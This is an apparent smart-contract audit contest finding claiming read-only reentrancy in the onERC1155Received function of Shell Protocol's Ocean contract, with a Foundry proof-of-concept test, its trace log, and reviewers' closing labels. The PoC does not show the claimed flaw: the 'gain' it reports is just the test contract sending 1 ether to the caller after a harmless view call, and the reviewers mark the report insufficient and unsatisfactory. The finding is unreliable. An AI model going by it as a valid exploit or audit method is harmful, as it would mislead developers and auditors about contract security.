[H-01] Ocean contract and onERC1155Received function is vulnerable to read only reentrancy

[c4-bot-9]

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L326-L343

Vulnerability details

Impact

The Ocean contract and onERC1155Received function is vulnerable to read only reentrancy when read from another contract.

The order of function execution when called externally from the onERC1155Received function in the Ocean contract is as follows.

The onERC1155Received Function calls and traverses through the following functions

Ocean.onERC1155Received(address,address,uint256,uint256,bytes) (src/ocean/Ocean.sol#326-343):

State variables read that were written after the external call(s):

- Ocean._ERC1155InteractionStatus (src/ocean/Ocean.sol#108) was read at _ERC1155InteractionStatus == INTERACTION (src/ocean/Ocean.sol#338)
This variable was written at (after external call):

- _ERC1155InteractionStatus = NOT_INTERACTION (src/ocean/Ocean.sol#932)

- Ocean._ERC1155InteractionStatus (src/ocean/Ocean.sol#108) was read at IERC1155Receiver.onERC1155Received.selector (src/ocean/Ocean.sol#339)
This variable was written at (after external call):

- _ERC1155InteractionStatus = NOT_INTERACTION (src/ocean/Ocean.sol#932)

- Ocean._ERC1155InteractionStatus (src/ocean/Ocean.sol#108) was read at 0 (src/ocean/Ocean.sol#341)
This variable was written at (after external call):

- _ERC1155InteractionStatus = NOT_INTERACTION (src/ocean/Ocean.sol#932)

Proof of Concept

The vulnerable function is located in the Ocean contract on lines 324-346 and is called onERC1155Received. Its contents are as follows.

    function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes calldata
    )
        external
        view
        override
        returns (bytes4)
    {
        if (_ERC1155InteractionStatus == INTERACTION) {
            return IERC1155Receiver.onERC1155Received.selector;
        } else {
            return 0;
        }
    }

The exploit was built in one of the foundry tests files which is the attacker contract made available to us by shell-protocol in src/test/fork/TestCurve2PoolAdapter.t.sol

The exploit looks like the following POC in Foundry

function testCallA() external returns(string memory, uint256, string memory, uint256, string memory, uint256)  {
        string memory statementA = "Balance before: ";
        string memory statementB = "Balance after: ";
        string memory statementC = "Balance Difference: ";
        address user1 = address(1357924680);
        address user2 = address(1246803579);
        uint256 balanceBefore = msg.sender.balance;
        ocean.onERC1155Received(user1,user1,uint256(10e18),uint256(1e18),bytes("0x1e18"));
        msg.sender.call {value: 1e18} ("0x1e18");
        return (statementA, balanceBefore, statementB, msg.sender.balance, statementC, msg.sender.balance-balanceBefore);
    }

receive() external payable {}

As proof, the log results show the updated balance as follows.

forge test --match-test "testCallA" -vvvv
[⠊] Compiling...
No files changed, compilation skipped

Running 1 test for src/test/fork/TestCurve2PoolAdapter.t.sol:TestCurve2PoolAdapter
[PASS] testCallA() (gas: 17658)
Traces:
  [17658] TestCurve2PoolAdapter::testCallA()
    ├─ [3209] Ocean::onERC1155Received(0x0000000000000000000000000000000050f04948, 0x0000000000000000000000000000000050f04948, 10000000000000000000 [1e19], 1000000000000000000 [1e18], 0x307831653138) [staticcall]
    │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000000
    ├─ [0] DefaultSender::30783165{value: 1000000000000000000}(3138)
    │   └─ ← ()
    └─ ← "Balance before: ", 79228162514264337593543950335 [7.922e28], "Balance after: ", 79228162515264337593543950335 [7.922e28], "Balance Difference: ", 1000000000000000000 [1e18]

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.74s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

VS Code. Foundry.

Recommended Mitigation Steps

Use read-only re-entrancy guard.

Assessed type

Reentrancy

[c4-pre-sort]

raymondfam marked the issue as insufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #32

[c4-judge]

0xA5DF marked the issue as unsatisfactory: Out of scope